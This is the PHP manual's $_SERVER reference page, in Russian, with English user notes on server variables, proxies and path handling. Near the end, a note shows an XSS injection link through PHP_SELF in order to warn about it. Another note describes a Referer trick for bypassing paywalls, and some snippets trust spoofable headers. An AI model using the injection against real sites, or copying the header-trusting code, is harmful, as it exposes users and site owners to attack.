Массив аргументов, переданных скрипту. Когда скрипт запущен в командой строке, это даёт C-подобный доступ к параметрам командной строки. Когда вызывается через метод GET, этот массив будет содержать строку запроса.
'argc'
Содержит количество параметров, переданных скрипту (если запуск произведён в командной строке).
'GATEWAY_INTERFACE'
Содержит используемую сервером версию спецификации CGI; к примеру 'CGI/1.1'..
'SERVER_ADDR'
IP-адрес сервера, на котором выполняется текущий скрипт.
'SERVER_NAME'
Имя хоста, на котором выполняется текущий скрипт. Если скрипт выполняется на виртуальном хосте, здесь будет содержатся имя, определённое для этого виртуального хоста.

Замечание: В Apache 2 необходимо установить UseCanonicalName = On и ServerName. В противном случае это значение отразит имя хоста, предоставленное клиентом, которое может быть подделано. Небезопасно полагаться на это значение в контексте, требующем безопасности.

'SERVER_SOFTWARE'
Строка идентификации сервера, указанная в заголовках, когда происходит ответ на запрос.
'SERVER_PROTOCOL'
Имя и версия информационного протокола, через который была запрошена страница; к примеру 'HTTP/1.0';
'REQUEST_METHOD'
Какой метод был использован для запроса страницы; к примеру 'GET', 'HEAD', 'POST', 'PUT'.

Замечание:

PHP-скрипт завершается после отправки заголовков (то есть после того, как осуществляется любой вывод без буферизации вывода), если метод запроса был HEAD.

'REQUEST_TIME'
Временная метка начала запроса.
'REQUEST_TIME_FLOAT'
Временная метка начала запроса с точностью до микросекунд.
'QUERY_STRING'
Строка запроса, если есть, через которую была открыта страница.
'DOCUMENT_ROOT'
Директория корня документов, в которой выполняется текущий скрипт, в точности та, которая указана в конфигурационном файле сервера.
'HTTPS'
Принимает непустое значение, если запрос был произведён через протокол HTTPS.
'REMOTE_ADDR'
IP-адрес, с которого пользователь просматривает текущую страницу.
'REMOTE_HOST'
Удалённый хост, с которого пользователь просматривает текущую страницу. Обратный поиск DNS основан на значении переменной REMOTE_ADDR.

Замечание: Сервер должен быть настроен, чтобы создавать эту переменную. Для примера, в Apache необходимо присутствие директивы HostnameLookups On в файле httpd.conf, чтобы эта переменная создавалась. Смотрите также gethostbyaddr().

'REMOTE_PORT'
Порт на удалённой машине, который используется для связи с сервером.
'REMOTE_USER'
Аутентифицированный пользователь.
'REDIRECT_REMOTE_USER'
Аутентифицированный пользователь, если запрос был перенаправлен изнутри.
'SCRIPT_FILENAME'

Абсолютный путь к исполняемому скрипту.

Замечание:

Если скрипт запускается в командной строке (CLI), используя относительный путь, такой как file.php или ../file.php, переменная $_SERVER['SCRIPT_FILENAME'] будет содержать относительный путь, указанный пользователем.

'SERVER_ADMIN'
Эта переменная получает своё значение (для Apache) из директивы конфигурационного файла сервера. Если скрипт запущен на виртуальном хосте, это будет значение, определённое для данного виртуального хоста.
'SERVER_PORT'
Порт на компьютере сервера, используемый сервером для соединения. Для установок по умолчанию, значение будет '80'; используя SSL, например, это значение будет таким, какое сконфигурировано для соединений безопасного HTTP.

Замечание: Чтобы получить физический (реальный) порт в Apache 2, необходимо установить UseCanonicalName = On и UseCanonicalPhysicalPort = On, иначе это значение может быть подменено и не вернуть реальной значение физического порта. Полагаться на это значение небезопасно в контексте приложений, требующих усиленной безопасности.

'SERVER_SIGNATURE'
Строка, содержащая версию сервера и имя виртуального хоста, которые добавляются к генерируемым сервером страницам, если включено.
'PATH_TRANSLATED'
Путь файловой системы (не document root) к текущему скрипту, после того как сервер выполнил отображение virtual-to-real.

Замечание: Пользователи Apache 2 могут использовать директиву AcceptPathInfo = On в конфигурационном файле httpd.conf для задания переменной PATH_INFO.

'SCRIPT_NAME'
Содержит путь к текущему исполняемому скрипту. Это полезно для страниц, которые должны указывать на самих себя. Константа __FILE__ содержит полный путь и имя текущего (то есть включённого) файла.
'REQUEST_URI'
URI, который был предоставлен для доступа к этой странице. Например, '/index.html'.
'PHP_AUTH_DIGEST'
При выполнении аутентификации HTTP Digest этой переменной присваивается заголовок 'Authorization', отправленный клиентом (который затем следует использовать для проведения соответствующей проверки).
'PHP_AUTH_USER'
При выполнении HTTP-аутентификации этой переменной присваивается имя пользователя, предоставленное пользователем.
'PHP_AUTH_PW'
При выполнении HTTP-аутентификации этой переменной присваивается пароль, предоставленный пользователем.
'AUTH_TYPE'
При выполнении HTTP-аутентификации этой переменной присваивается тип аутентификации, который используется.
'PATH_INFO'
Содержит любой предоставленный пользователем путь, содержащийся после имени скрипта, но до строки запроса, если она есть. Например, если текущий скрипт запрошен по URL http://www.example.com/php/path_info.php/some/stuff?foo=bar, то переменная $_SERVER['PATH_INFO'] будет содержать /some/stuff.
'ORIG_PATH_INFO'
Исходное значение переменной 'PATH_INFO' перед обработкой PHP.

Примеры

Пример #1 Пример использования $_SERVER

<?php
echo $_SERVER['SERVER_NAME'];
?>

Результатом выполнения данного примера будет что-то подобное:

www.example.com

Примечания

Замечание:

Это 'суперглобальная' или автоматическая глобальная переменная. Это просто означает, что она доступна во всех контекстах скрипта. Нет необходимости выполнять global $variable; для доступа к ней внутри метода или функции.

Смотрите также

  • Фильтрация данных

User Contributed Notes

kamil00110 27-Jul-2023 04:14
This code can be used to help find somone that tries to dig throught the server files to find something.

.htaccess

ErrorDocument 404 /your.php
ErrorDocument 403 /your.php

<?php
         //get time
         $time = date("H:i:s d.m.y");
         //get user address
         $usr = $_SERVER['REMOTE_ADDR'];
         //get entered url of the "visitor"
         $url = $_SERVER['REQUEST_URI'];
         //get your servers address
         $ip = $_SERVER['SERVER_ADDR'];
     //put toogether
         $sus = "[".$time."]   ".$usr."   ".$ip.$url.PHP_EOL;
         //write an log file
         file_put_contents("susip.txt", $sus, FILE_APPEND);
?>
Florin C 26-Apr-2023 06:52
<?php
//Working example tested with success in Debian Linux with Apache 2.4

$protocol=$_SERVER['PROTOCOL'] = isset($_SERVER['HTTPS']) && !empty($_SERVER['HTTPS']) ? 'https' : 'http';  //thanks to Mark Simon @ https://www.php.net/manual/en/reserved.variables.server.php
$doc_root = $_SERVER['DOCUMENT_ROOT'];  // e.g. /var/www/webabc/web/
$module_path = dirname(__FILE__);  // e.g. /var/www/webabc/web/modules/verstion152/
$host = $_SERVER['HTTP_HOST'];  // e.g. 192.168.1.4

$online_path = $protocol .'://'. $host . '/' . str_replace($doc_root, '', $module_path);

echo "The online path is: " . $online_path;
Daniels118 15-Mar-2022 09:17
If you need to know the protocol (http or https) used by the client, then the $_SERVER['HTTPS'] variable may not actually report the truth if your server is behind a proxy or a load balancer (In fact the client could connect to the load balancer using https, and then the load balancer forward the request to the server using http).
If the proxy/load balancer is correctly configured it could send the original request protocol in a header, and you will find it in the $_SERVER[HTTP_X_FORWARDED_PROTO] variable.
sammyhacker at gmail dot com 24-Jul-2021 05:14
To put it simply, $_SERVER contains all the environment variables.

CGI works by an HTTP application server filling in all the required environment variables and invoking the PHP process. And these environment variables are stored under $_SERVER.
DanielTahar 27-May-2020 01:36
To expand a bit on the price you could pay for relying on 'HTTP_REFERER': several large news sites I read often have paywalls, with cookies in place so you can only read X articles before you must subscribe; if using Incognito, they count the number of times you accessed via the same IP; everything to get you to subscribe. However, in order to be appealing, any visit where the 'HTTP_REFERER' is Google News will give you the entire article. I'm sure it's a dilemma their webmasters have, but for now any time someone sends you a story on one of them, all you have to do is search for the title and click the result from Google News. Bottom line: never count on it.

PS (1): ofcourse i'm talking about a friend. I pay for content.
PS (2): after some debate, the RFC decided to keep 'HTTP_REFERER', although it's misspelled.
Johan Winge 22-Mar-2020 07:17
It should probably be noted that the value of $_SERVER['SERVER_PROTOCOL'] will never contain the substring "HTTPS". Assuming this is a common source of bugs and confusion. Instead, see $_SERVER['HTTPS'].
vcoletti at tiscali dot it 14-Mar-2020 01:20
To list all the $_SERVER parameters, simply do:

foreach ($_SERVER as $parm => $value)  echo "$parm = '$value'\n";

No need to list all possible keys of the array.
lemonostif at gmail dot com 27-Jul-2019 08:28
PHP_SELF is a disgrace of a programmer's work. One of the most widespread PHP vulnerabilities since version 4 and the manual says nothing about the dangers. At least clarify that ITS VALUE CAN BE PROVIDED BY THE USER with capitals preferably if you want to make the internet a safer place...
Mark Simon 21-Jul-2019 05:42
So near, and yet so far ...

$_SERVER has nearly everything you need to know about the current web page environment. Something which would have been handy is easy access to the protocol and the actual web root.

For the protocol, you may or may not have $_SERVER['HTTPS'] and it may or may not be empty. For the web root, $_SERVER['DOCUMENT_ROOT'] depends on the server configuration, and doesn't work for virtual hosts.

For practical purposes, I normally include something like the following in my scripts:

<?php
    //    Web Root
    //    Usage: include("$root/includes/something.inc.php");
        $root = $_SERVER['WEB_ROOT'] = str_replace($_SERVER['SCRIPT_NAME'],'',$_SERVER['SCRIPT_FILENAME']);

    //    Host & Protocol
    //    Usage: $url = "$protocol://$host/images/something.jpg";
        $host = $_SERVER['HTTP_HOST'];
        $protocol=$_SERVER['PROTOCOL'] = isset($_SERVER['HTTPS']) && !empty($_SERVER['HTTPS']) ? 'https' : 'http';
?>
lilJoshu 01-Nov-2018 02:38
Remember,

Although $_SERVER["REQUEST_METHOD"] is initially built with GET, POST, PUT, HEAD in mind, a server can allow more.

This may be important if you're building a RESTful interfaces that will also use methods such as PATCH and DELETE.

Also important as a security risk as a possible point of injection. In the event of building something acting based on REQUEST_METHOD, it's recommended to put it in a switch statement.

<?php
switch ($_SERVER["REQUEST_METHOD"]){
   case "PUT":
       foo_replace_data();
       break;
   case "POST":
       foo_add_data();
       break;
   case "HEAD";
       foo_set_that_cookie();
       break;
   case "GET":
   default:
      foo_fetch_stuff()
      break;
}

?>
2962051004 at qq dot com 11-Mar-2018 11:46
<?php
/*
Sometimes you will find that your website will not get the correct user IP after adding CDN, then this function will help you
*/
function real_ip()
{
   $ip = $_SERVER['REMOTE_ADDR'];
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
        foreach ($matches[0] AS $xip) {
            if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
                $ip = $xip;
                break;
            }
        }
    } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
        $ip = $_SERVER['HTTP_X_REAL_IP'];
    }
    return $ip;

}
echo real_ip();

?>
ywarnier at beeznest dot org 02-Aug-2017 08:35
Note that $_SERVER['REQUEST_URI'] might include the scheme and domain in certain cases.

This happens, for example, when calling the page through a call to stream_context_create() with a HTTP header of 'request_fulluri' set to 1.

For example:

$http = ['request_fulluri' => 1, /* other params here */];
$context = stream_context_create(array( 'http' => $http ));
$fp = fopen($some_url, 'rb', false, $context);

When outputting $_SERVER['REQUEST_URI'] on the server at $some_url, you will get
https://some_url/some_script.php

Remove the request_fulluri => 1 option, and $_SERVER['REQUEST_URI'] gets back to its "normal":
/some_script.php

Apparently, request_fulluri is useful when using some proxy servers.

In this case, there is no proper way to "detect" if this option was set or not, and you should probably use a combination of other $_SERVER[] elements (like REQUEST_SCHEME, SERVER_NAME and SERVER_PORT) to determine if this was the case.

One quick (and improvable) way to detect it would be to compare the start of the REQUEST_URI with REQUEST_SCHEME:

$scheme = $_SERVER['REQUEST_SCHEME'] . '://';
if (strcmp(substr($_SERVER['REQUEST_URI'], 0, strlen($scheme)), $scheme) === 0) {
    // request_fulluri was set
}
centurianii at yahoo dot co dot uk 28-May-2017 10:18
If you apply redirection in ALL your requests using commands at the Apache virtual host file like:
RewriteEngine On
RewriteCond "%{REQUEST_URI}" "!=/index.php"
RewriteRule "^/(.*)$" "index.php?$1" [NC,NE,L,QSA]
you should expect some deviations in your $_SERVER global.

Say, you send a url of: [hostname here]/a/b?x=1&y=2
which makes Apache to modify to: /index.php?/a/b?x=1&y=2

Now your $_SERVER global contains among others:
'REQUEST_URI' => '/a/b?x=1&y=2', it retains the initial url after the host
 'QUERY_STRING' => 'a/b&x=1&y=2', notice how php replaces '?' with '&'
 'SCRIPT_NAME' => '/index.php', as it was intended to be.

To test your $_SERVER global:
function serverArray(){
   $arr = array();
   foreach($_SERVER as $key=>$value)
      $arr[] = '&nbsp;&nbsp;&nbsp;\'' . $key . '\' => \'' . (isset($value)? $value : '-') . '\'';
   return @\sort($arr)? '$_SERVER = array(<br />' . implode($arr, ',<br />') . '<br />);' : false;
}
echo serverArray();
pierstoval at example dot com 22-Apr-2017 10:13
As PHP $_SERVER var is populated with a lot of vars, I think it's important to say that it's also populated with environment vars.

For example, with a PHP script, we can have this:

    MY_ENV_VAR=Hello php -r 'echo $_SERVER["MY_ENV_VAR"];'

Will show "Hello".

But, internally, PHP makes sure that "internal" keys in $_SERVER are not overriden, so you wouldn't be able to do something like this:

    REQUEST_TIME=Hello php -r 'var_dump($_SERVER["REQUEST_TIME"]);'

Will show something like 1492897785

However, a lot of vars are still vulnerable from environment injection.

I created a gist here ( https://gist.github.com/Pierstoval/f287d3e61252e791a943dd73874ab5ee ) with my PHP configuration on windows with PHP7.0.15 on WSL with bash, the results are that the only "safe" vars are the following:

PHP_SELF
SCRIPT_NAME
SCRIPT_FILENAME
PATH_TRANSLATED
DOCUMENT_ROOT
REQUEST_TIME_FLOAT
REQUEST_TIME
argv
argc

All the rest can be overriden with environment vars, which is not very cool actually because it can break PHP applications sometimes...

(and I only tested on CLI, I had no patience to test with Apache mod_php or Nginx + PHP-FPM, but I can imagine that not a lot of $_SERVER properties are "that" secure...)
chris at ocproducts dot com 12-Apr-2017 11:44
Guide to script parameters...

Data: $_GET
Data type: Array (map)
Purpose: Contains all GET parameters (i.e. a parsed URL query string).
Caveat: GET parameter names have to be compliant with PHP variable naming, e.g. dots are not allowed and get substituted.
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['QUERY_STRING']
Data type: String
Purpose: Gets an unparsed URL query string.
Caveat: Not set on all PHP environments, may need setting via http_build_query($_GET).
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['argv']
Data type: Array (list)
Purpose: Get CLI call parameters.
Works on web mode: Tenuous (just contains a single parameter, the query string)
Works on CLI mode: Yes
chris at ocproducts dot com 12-Apr-2017 11:44
Guide to URL paths...

Data: $_SERVER['PHP_SELF']
Data type: String
Purpose: The URL path name of the current PHP file, including path-info (see $_SERVER['PATH_INFO']) and excluding URL query string. Includes leading slash.
Caveat: This is after URL rewrites (i.e. it's as seen by PHP, not necessarily the original call URL).
Works on web mode: Yes
Works on CLI mode: Tenuous (emulated to contain just the exact call path of the CLI script, with whatever exotic relative pathname you may call with, not made absolute and not normalised or pre-resolved)

Data: $_SERVER['SCRIPT_NAME']
Data type: String
Purpose: The URL path name of the current PHP file, excluding path-info and excluding URL query string. Includes leading slash.
Caveat: This is after URL rewrites (i.e. it's as seen by PHP, not necessarily the original call URL).
Caveat: Not set on all PHP environments, may need setting via preg_replace('#\.php/.*#', '.php', $_SERVER['PHP_SELF']).
Works on web mode: Yes
Works on CLI mode: Tenuous (emulated to contain just the exact call path of the CLI script, with whatever exotic relative pathname you may call with, not made absolute and not normalised or pre-resolved)

Data: $_SERVER['REDIRECT_URL']
Data type: String
Purpose: The URL path name of the current PHP file, path-info is N/A and excluding URL query string. Includes leading slash.
Caveat: This is before URL rewrites (i.e. it's as per the original call URL).
Caveat: Not set on all PHP environments, and definitely only ones with URL rewrites.
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['REQUEST_URI']
Data type: String
Purpose: The URL path name of the current PHP file, including path-info and including URL query string. Includes leading slash.
Caveat: This is before URL rewrites (i.e. it's as per the original call URL). *
*: I've seen at least one situation where this is not true (there was another $_SERVER variable to use instead supplied by the URL rewriter), but the author of the URL rewriter later fixed it so probably fair to dismiss this particular note.
Caveat: Not set on all PHP environments, may need setting via $_SERVER['REDIRECT_URL'] . '?' . http_build_query($_GET) [if $_SERVER['REDIRECT_URL'] is set, and imperfect as we don't know what GET parameters were originally passed vs which were injected in the URL rewrite] --otherwise-- $_SERVER['PHP_SELF'] . '?' . http_build_query($_GET).
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['PATH_INFO']
Data type: String
Purpose: Find the path-info, which is data after the .php filename in the URL call. It's a strange concept.
Caveat: Some environments may not support it, it is best avoided unless you have complete server control
Works on web mode: Yes
Works on CLI mode: No

Note that if something is not set it may be missing from $_SERVER, or it may be blank, so use PHP's 'empty' function for your test.
chris at ocproducts dot com 12-Apr-2017 11:44
Guide to absolute paths...

Data: __FILE__
Data type: String
Purpose: The absolute pathname of the running PHP file, including the filename.
Caveat: This is not the file called by the PHP processor, it's what is running. So if you are inside an include, it's the include.
Caveat: Symbolic links are pre-resolved, so don't trust comparison of paths to be accurate.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Works on web mode: Yes
Works on CLI mode: Yes

Data: __DIR__
Data type: String
Purpose: The absolute pathname to the running PHP file, excluding the filename
Caveat: This is not the file called by the PHP processor, it's what is running. So if you are inside an include, it's the include.
Caveat: Symbolic links are pre-resolved, so don't trust comparison of paths to be accurate.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Works on web mode: Yes
Works on CLI mode: Yes

Data: $_SERVER['SCRIPT_FILENAME']
Data type: String
Purpose: The absolute pathname of the origin PHP file, including the filename
Caveat: Not set on all PHP environments, may need setting by copying from __FILE__ before other files are included.
Caveat: Symbolic links are not pre-resolved, use PHP's 'realpath' function if you need it resolved.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Caveat: "Filename" makes you think it is just a filename, but it really is the full absolute pathname. Read the identifier as "Script's filesystem (path)name".
Works on web mode: Yes
Works on CLI mode: Yes

Data: $_SERVER['PATH_TRANSLATED']
Data type: String
Purpose: The absolute pathname of the origin PHP file, including the filename
Caveat: It's probably not set, best to just not use it. Just use realpath($_SERVER['SCRIPT_FILENAME']) (and be aware that itself may need to have been emulated).
Caveat: Symbolic links are pre-resolved, so don't trust comparison of paths to be accurate.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Works on web mode: Yes
Works on CLI mode: No

Data: $_SERVER['DOCUMENT_ROOT']
Data type: String
Purpose: Get the absolute path to the web server's document root. No trailing slash.
Caveat: Don't trust this to be set, or set correctly, unless you control the server environment.
Caveat: May or may not have symbolic links pre-resolved, use PHP's 'realpath' function if you need it resolved.
Caveat: Don't assume all operating systems use '/' for the directory separator.
Works on web mode: Yes
Works on CLI mode: No

Note that if something is not set it may be missing from $_SERVER, or it may be blank, so use PHP's 'empty' function for your test.

Note that if you call "php --info" on the command line then naturally some of these settings are going to be blank, as no PHP file is involved.
plugwash at p10link dot net 24-Mar-2015 01:38
Be aware that it's a bad idea to access x-forwarded-for and similar headers through this array. The header names are mangled when populating the array and this mangling can introduce spoofing vulnerabilities.

See http://en.wikipedia.org/wiki/User:Brion_VIBBER/Cool_Cat_incident_report for details of a real world exploit of this.
jit_chavan at yahoo dot com 13-Feb-2014 07:26
searched $_SERVER["REDIRECT_URL"] for a while and noted that it is not mentioned in php documentation page itself. look like this is only generated by apache server(not others) and using   $_SERVER["REQUEST_URI"] will be useful in some cases as mine.
pomat at live dot it 15-Jun-2013 02:12
$_SERVER['DOCUMENT_ROOT'] may contain backslashes on windows systems, and of course it may or may not have a trailing slash (backslash).
I saw the following as an example of the proper way we're supposed to deal with this issue:

<?php
include(dirname($_SERVER['DOCUMENT_ROOT']) . DIRECTORY_SEPARATOR . 'file.php');
?>

Ok, the latter may be used to access a file inside the parent directory of the document root, but actually does not properly address the issue.
In the end, don't warry about. It should be safe to use forward slashes and append a trailing slash in all cases.
Let's say we have this:

<?php
$path = 'subdir/file.php';
$result = $_SERVER['DOCUMENT_ROOT'] . '/' . $path;
?>

On linux $result might be something like
1) "/var/www/subdir/file.php"
2) "/var/www//subdir/file.php"
String 2 is parsed the same as string 1 (have a try with command 'cd').

On windows $result might be something like
1) "C:/apache/htdocs/subdir/file.php"
2) "C:/apache/htdocs//subdir/file.php"
3) "C:\apache\htdocs/subdir/file.php"
4) "C:\apache\htdocs\/subdir/file.php"
All those strings are parsed as "C:\apache\htdocs\subdir\file.php" (have a try with 'cd').
krinklemail at gmail dot com 05-Dec-2012 11:39
If requests to your PHP script send a header "Content-Type" or/ "Content-Length" it will, contrary to regular HTTP headers, not appear in $_SERVER as $_SERVER['HTTP_CONTENT_TYPE']. PHP removes these (per CGI/1.1 specification[1]) from the HTTP_ match group.

They are still accessible, but only if the request was a POST request. When it is, it'll be available as:
$_SERVER['CONTENT_LENGTH']
$_SERVER['CONTENT_TYPE']

[1] https://www.ietf.org/rfc/rfc3875
Tom 06-Sep-2012 08:28
Be warned that most contents of the Server-Array (even $_SERVER['SERVER_NAME']) are provided by the client and can be manipulated. They can also be used for injections and thus MUST be checked and treated like any other user input.
picov at e-link dot it 13-Oct-2011 10:59
A simple function to detect if the current page address was rewritten by mod_rewrite:

<?php
public function urlWasRewritten() {
  $realScriptName=$_SERVER['SCRIPT_NAME'];
  $virtualScriptName=reset(explode("?", $_SERVER['REQUEST_URI']));
  return !($realScriptName==$virtualScriptName);
}
?>
MarkAgius at markagius dot co dot uk 31-Aug-2011 02:18
You have missed 'REDIRECT_STATUS'

Very useful if you point all your error pages to the same file.

File; .htaccess
# .htaccess file.

ErrorDocument 404 /error-msg.php
ErrorDocument 500 /error-msg.php
ErrorDocument 400 /error-msg.php
ErrorDocument 401 /error-msg.php
ErrorDocument 403 /error-msg.php
# End of file.

File; error-msg.php
<?php
  $HttpStatus = $_SERVER["REDIRECT_STATUS"] ;
  if($HttpStatus==200) {print "Document has been processed and sent to you.";}
  if($HttpStatus==400) {print "Bad HTTP request ";}
  if($HttpStatus==401) {print "Unauthorized - Iinvalid password";}
  if($HttpStatus==403) {print "Forbidden";}
  if($HttpStatus==500) {print "Internal Server Error";}
  if($HttpStatus==418) {print "I'm a teapot! - This is a real value, defined in 1998";}

?>
Stefano (info at sarchittu dot org) 12-Nov-2010 06:07
A way to get the absolute path of your page, independent from the site position (so works both on local machine and on server without setting anything) and from the server OS (works both on Unix systems and Windows systems).

The only parameter it requires is the folder in which you place this script
So, for istance, I'll place this into my SCRIPT folder, and I'll write SCRIPT word length in $conflen

<?php
$conflen=strlen('SCRIPT');
$B=substr(__FILE__,0,strrpos(__FILE__,'/'));
$A=substr($_SERVER['DOCUMENT_ROOT'], strrpos($_SERVER['DOCUMENT_ROOT'], $_SERVER['PHP_SELF']));
$C=substr($B,strlen($A));
$posconf=strlen($C)-$conflen-1;
$D=substr($C,1,$posconf);
$host='http://'.$_SERVER['SERVER_NAME'].'/'.$D;
?>

$host will finally contain the absolute path.
wbeaumo1 at gmail dot com 13-Jun-2010 08:43
Don't forget $_SERVER['HTTP_COOKIE']. It contains the raw value of the 'Cookie' header sent by the user agent.
php at isnoop dot net 01-Apr-2010 09:38
Use the apache SetEnv directive to set arbitrary $_SERVER variables in your vhost or apache config.

SetEnv varname "variable value"
mirko dot steiner at slashdevslashnull dot de 24-Oct-2009 02:43
<?php

// RFC 2616 compatible Accept Language Parser
// http://www.ietf.org/rfc/rfc2616.txt, 14.4 Accept-Language, Page 104
// Hypertext Transfer Protocol -- HTTP/1.1

foreach (explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) {
    $pattern = '/^(?P<primarytag>[a-zA-Z]{2,8})'.
    '(?:-(?P<subtag>[a-zA-Z]{2,8}))?(?:(?:;q=)'.
    '(?P<quantifier>\d\.\d))?$/';

    $splits = array();

    printf("Lang:,,%s''\n", $lang);
    if (preg_match($pattern, $lang, $splits)) {
        print_r($splits);
    } else {
        echo "\nno match\n";
    }
}

?>

example output:

Google Chrome 3.0.195.27 Windows xp

Lang:,,de-DE''
Array
(
    [0] => de-DE
    [primarytag] => de
    [1] => de
    [subtag] => DE
    [2] => DE
)
Lang:,,de;q=0.8''
Array
(
    [0] => de;q=0.8
    [primarytag] => de
    [1] => de
    [subtag] =>
    [2] =>
    [quantifier] => 0.8
    [3] => 0.8
)
Lang:,,en-US;q=0.6''
Array
(
    [0] => en-US;q=0.6
    [primarytag] => en
    [1] => en
    [subtag] => US
    [2] => US
    [quantifier] => 0.6
    [3] => 0.6
)
Lang:,,en;q=0.4''
Array
(
    [0] => en;q=0.4
    [primarytag] => en
    [1] => en
    [subtag] =>
    [2] =>
    [quantifier] => 0.4
    [3] => 0.4
)
Lord Mac 14-Oct-2009 07:56
An even *more* improved version...

<?php
phpinfo(32);
?>
steve at sc-fa dot com 17-Sep-2009 12:20
If you are serving from behind a proxy server, you will almost certainly save time by looking at what these $_SERVER variables do on your machine behind the proxy.

$_SERVER['HTTP_X_FORWARDED_FOR'] in place of $_SERVER['REMOTE_ADDR']

$_SERVER['HTTP_X_FORWARDED_HOST'] and
$_SERVER['HTTP_X_FORWARDED_SERVER'] in place of (at least in our case,) $_SERVER['SERVER_NAME']
cupy at email dot cz 20-Aug-2009 08:24
Tech note:
$_SERVER['argc'] and $_SERVER['argv'][] has some funny behaviour,
used from linux (bash) commandline, when called like
"php ./script_name.php 0x020B"
there is everything correct, but
"./script_name.php 0x020B"
is not correct - "0" is passed instead of "0x020B" as $_SERVER['argv'][1] - see the script below.
Looks like the parameter is not passed well from bash to PHP.
(but, inspected on the level of bash, 0x020B is understood well as $1)

try this example:

------------->8------------------
cat ./script_name.php
#! /usr/bin/php

if( $_SERVER['argc'] == 2)
  {
    // funny... we have to do this trick to pass e.g. 0x020B from parameters
    // ignore this: "PHP Notice:  Undefined offset:  2 in ..."
    $EID = $_SERVER['argv'][1] + $_SERVER['argv'][2] + $_SERVER['argv'][3];
  }
 else
   {        // default
     $EID = 0x0210; // PPS failure
   }
jarrod at squarecrow dot com 10-Aug-2009 08:31
$_SERVER['DOCUMENT_ROOT'] is incredibly useful especially when working in your development environment. If you're working on large projects you'll likely be including a large number of files into your pages. For example:

<?php
//Defines constants to use for "include" URLS - helps keep our paths clean

        define("REGISTRY_CLASSES",  $_SERVER['DOCUMENT_ROOT']."/SOAP/classes/");
        define("REGISTRY_CONTROLS", $_SERVER['DOCUMENT_ROOT']."/SOAP/controls/");

        define("STRING_BUILDER",     REGISTRY_CLASSES. "stringbuilder.php");
        define("SESSION_MANAGER",     REGISTRY_CLASSES. "sessionmanager.php");
        define("STANDARD_CONTROLS",    REGISTRY_CONTROLS."standardcontrols.php");
?>

In development environments, you're rarely working with your root folder, especially if you're running PHP locally on your box and using DOCUMENT_ROOT is a great way to maintain URL conformity. This will save you hours of work preparing your application for deployment from your box to a production server (not to mention save you the headache of include path failures).
Richard York 09-Jul-2009 11:19
Not documented here is the fact that $_SERVER is populated with some pretty useful information when accessing PHP via the shell.

 ["_SERVER"]=>
  array(24) {
    ["MANPATH"]=>
    string(48) "/usr/share/man:/usr/local/share/man:/usr/X11/man"
    ["TERM"]=>
    string(11) "xterm-color"
    ["SHELL"]=>
    string(9) "/bin/bash"
    ["SSH_CLIENT"]=>
    string(20) "127.0.0.1 41242 22"
    ["OLDPWD"]=>
    string(60) "/Library/WebServer/Domains/www.example.com/private"
    ["SSH_TTY"]=>
    string(12) "/dev/ttys000"
    ["USER"]=>
    string(5) "username"
    ["MAIL"]=>
    string(15) "/var/mail/username"
    ["PATH"]=>
    string(57) "/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin"
    ["PWD"]=>
    string(56) "/Library/WebServer/Domains/www.example.com/www"
    ["SHLVL"]=>
    string(1) "1"
    ["HOME"]=>
    string(12) "/Users/username"
    ["LOGNAME"]=>
    string(5) "username"
    ["SSH_CONNECTION"]=>
    string(31) "127.0.0.1 41242 10.0.0.1 22"
    ["_"]=>
    string(12) "/usr/bin/php"
    ["__CF_USER_TEXT_ENCODING"]=>
    string(9) "0x1F5:0:0"
    ["PHP_SELF"]=>
    string(10) "Shell.php"
    ["SCRIPT_NAME"]=>
    string(10) "Shell.php"
    ["SCRIPT_FILENAME"]=>
    string(10) "Shell.php"
    ["PATH_TRANSLATED"]=>
    string(10) "Shell.php"
    ["DOCUMENT_ROOT"]=>
    string(0) ""
    ["REQUEST_TIME"]=>
    int(1247162183)
    ["argv"]=>
    array(1) {
      [0]=>
      string(10) "Shell.php"
    }
    ["argc"]=>
    int(1)
  }
chris 02-Jul-2009 04:01
A table of everything in the $_SERVER array can be found near the bottom of the output of phpinfo();
pudding06 at gmail dot com 02-May-2009 02:44
Here's a simple, quick but effective way to block unwanted external visitors to your local server:

<?php
// only local requests
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') die(header("Location: /"));
?>

This will direct all external traffic to your home page. Of course you could send a 404 or other custom error. Best practice is not to stay on the page with a custom error message as you acknowledge that the page does exist. That's why I redirect unwanted calls to (for example) phpmyadmin.
Vladimir Kornea 13-Mar-2009 05:06
1. All elements of the $_SERVER array whose keys begin with 'HTTP_' come from HTTP request headers and are not to be trusted.

2. All HTTP headers sent to the script are made available through the $_SERVER array, with names prefixed by 'HTTP_'.

3. $_SERVER['PHP_SELF'] is dangerous if misused. If login.php/nearly_arbitrary_string is requested, $_SERVER['PHP_SELF'] will contain not just login.php, but the entire login.php/nearly_arbitrary_string. If you've printed $_SERVER['PHP_SELF'] as the value of the action attribute of your form tag without performing HTML encoding, an attacker can perform XSS attacks by offering users a link to your site such as this:

<a href='http://www.example.com/login.php/"><script type="text/javascript">...</script><span a="'>Example.com</a>

